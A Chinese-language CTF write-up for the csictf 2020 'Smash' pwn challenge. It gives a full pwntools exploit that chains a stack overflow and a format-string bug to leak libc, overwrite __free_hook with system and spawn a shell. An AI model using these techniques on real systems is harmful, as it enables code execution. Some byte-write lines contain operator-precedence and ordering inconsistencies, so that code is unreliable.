csictf2020_Smash

0x00 文件信息

$ file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1b4310a5ac288241657cbfade8806251eeb2a87, not stripped

$ checksec hello
[*] '/mnt/hgfs/CTF/csictf 2020/Pwn/Smash/hello'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

0x01 代码审计

程序申请了一个 chunk 来存放用户输入的名字。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+3h] [ebp-Dh]
  void *ptr; // [esp+4h] [ebp-Ch]
  size_t size; // [esp+8h] [ebp-8h]

  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  size = 0;
  ptr = malloc(0);
  puts("What's your name?");
  while ( 1 )
  {
    __isoc99_scanf("%c", &v4);                  //  
    ptr = realloc(ptr, ++size);
    if ( v4 == '\n' )
      break;
    *((_BYTE *)ptr + size - 1) = v4;
  }
  *((_BYTE *)ptr + size - 1) = 0;
  say_hello((char *)ptr);
  free(ptr);
  return 0;
}

say_hello 函数复制并打印用户名。

int __cdecl say_hello(char *src)
{
  char dest; // [esp+0h] [ebp-84h]

  strcpy(&dest, src);                           //  
  printf("Hello, ");
  printf(&dest);                                // 格式字符串漏洞
  return puts("!");
}

漏洞分析

say_hello 函数中 strcpy 函数可导致栈溢出,printf 函数存在格式字符串漏洞。

漏洞利用思路

  1. 泄露 libc 地址
  2. 修改 __free_hook 为 system 的地址
  3. 写入 “/bin/sh\x00”
  4. 释放 chunk 时 get shell

0x02 具体利用

泄露 libc 地址

利用 strcpy 函数造成栈溢出,把 got 表中的内容写出来就好。

payload = 'a' * (offset + 4) + p32(elf.plt['puts']) + p32(main) + \
    p32(elf.got['puts'])
io.sendlineafter('What\'s your name?', payload)

劫持 __free_hook

因为既有栈溢出,又有格式字符串漏洞,所以我就一个字节一个字节地改 __free_hook 了。这样 payload 不会显得很复杂。

## hijack free_hook
payload  = 'aaaaaaaaaaaa' + p32(free_hook)
payload += '%' + str((system_addr & 0xFF) - len(payload)) + 'c' + '%4$hhn'
payload  = payload.ljust(offset + 4) + p32(main)
io.sendlineafter('What\'s your name?', payload)

payload  = 'aaaaaaaaaaaa' + p32(free_hook + 1)
payload += '%' + str((system_addr >> 8) & 0xFF - len(payload)) + 'c' + '%4$hhn'
payload  = payload.ljust(offset + 4) + p32(main)
io.sendlineafter('What\'s your name?', payload)

payload  = 'aaaaaaaaaaaa' + p32(free_hook + 2)
payload  = payload.ljust(offset + 4) + p32(main)
payload += '%' + str(((system_addr >> 16) & 0xFF) - len(payload)) + 'c' + '%4$hhn'
io.sendlineafter('What\'s your name?', payload)

payload  = 'aaaaaaaaaaaa' + p32(free_hook + 3)
payload  = payload.ljust(offset + 4) + p32(main)
payload += '%' + str(((system_addr >> 24) & 0xFF) - len(payload)) + 'c' + '%4$hhn'
io.sendlineafter('What\'s your name?', payload)

get shell

最后一次写入 “/bin/sh\x00”,当释放该 chunk 的时候相当于执行 system(“/bin/sh”);

payload = '/bin/sh\x00'
io.sendlineafter('What\'s your name?', payload)

io.interactive()

0x03 完整 exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf = ELF('./hello')
libc = ELF('./libc.so.6')

if args.G:
    io = remote('chall.csivit.com', 30046)
else:
    io = process('./hello')

offset = 0x84
main = 0x804865D
call_printf = 0x8048640

# gdb.attach(io, 'b *0x8048640')
payload = '/bin/sh\a' + 'a' * (offset - 4) + p32(elf.plt['puts']) + p32(main) + \
    p32(elf.got['puts'])
io.sendlineafter('What\'s your name?', payload)

puts_got = u32(io.recvuntil('\xf7')[-4:])
success('puts_got: ' + hex(puts_got))
libc_base = puts_got - libc.sym['puts']
info('libc_base: ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
info('system_addr: ' + hex(system_addr))

free_hook = libc_base + libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))

## hijack free_hook
payload  = 'aaaaaaaaaaaa' + p32(free_hook)
payload += '%' + str((system_addr & 0xFF) - len(payload)) + 'c' + '%4$hhn'
payload = payload.ljust(offset + 4) + p32(main)
io.sendlineafter('What\'s your name?', payload)

payload  = 'aaaaaaaaaaaa' + p32(free_hook + 1)
payload += '%' + str((system_addr >> 8) & 0xFF - len(payload)) + 'c' + '%4$hhn'
payload = payload.ljust(offset + 4) + p32(main)
io.sendlineafter('What\'s your name?', payload)

payload = 'aaaaaaaaaaaa' + p32(free_hook + 2)
payload = payload.ljust(offset + 4) + p32(main)
payload += '%' + str(((system_addr >> 16) & 0xFF) - len(payload)) + 'c' + '%4$hhn'
io.sendlineafter('What\'s your name?', payload)

payload = 'aaaaaaaaaaaa' + p32(free_hook + 3)
payload = payload.ljust(offset + 4) + p32(main)
payload += '%' + str(((system_addr >> 24) & 0xFF) - len(payload)) + 'c' + '%4$hhn'
io.sendlineafter('What\'s your name?', payload)

payload = '/bin/sh\x00'
io.sendlineafter('What\'s your name?', payload)

io.interactive()
2019-2020 @lukbash